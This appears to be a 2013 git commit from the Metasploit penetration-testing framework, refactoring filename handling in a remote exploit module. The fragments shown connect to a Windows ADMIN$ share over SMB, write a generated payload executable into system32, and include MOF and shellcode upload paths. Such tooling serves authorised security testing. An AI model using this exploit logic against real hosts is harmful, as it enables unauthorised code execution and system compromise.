move filename init up to remove dup code

as suggested by @jlee-r7
unstable
Rob Fuller 2013-05-09 13:29:21 -04:00
parent 71c68d09c1
commit 95b0d4e5ec
1 changed files with 2 additions and 2 deletions

View File

@ -125,6 +125,8 @@ class Metasploit3 < Msf::Exploit::Remote
report_auth_info(report_hash)
end
filename = datastore['SERVICE_FILENAME'] ? datastore['SERVICE_FILENAME'] : rand_text_alpha(8) + ".exe"
if datastore['MOF_UPLOAD_METHOD']
# payload as exe
print_status("Trying wbemexec...")
@ -134,7 +136,6 @@ class Metasploit3 < Msf::Exploit::Remote
return
end
simple.connect("ADMIN$")
datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
exe = generate_payload_exe
fd = smb_open("\\system32\\#{filename}", 'rwct')
fd << exe
@ -153,7 +154,6 @@ class Metasploit3 < Msf::Exploit::Remote
# Disconnect from the ADMIN$
simple.disconnect("ADMIN$")
else
datastore['SERVICE_FILENAME'] ? filename = datastore['SERVICE_FILENAME'] : filename = rand_text_alpha(8) + ".exe"
servicename = rand_text_alpha(8)
# Upload the shellcode to a file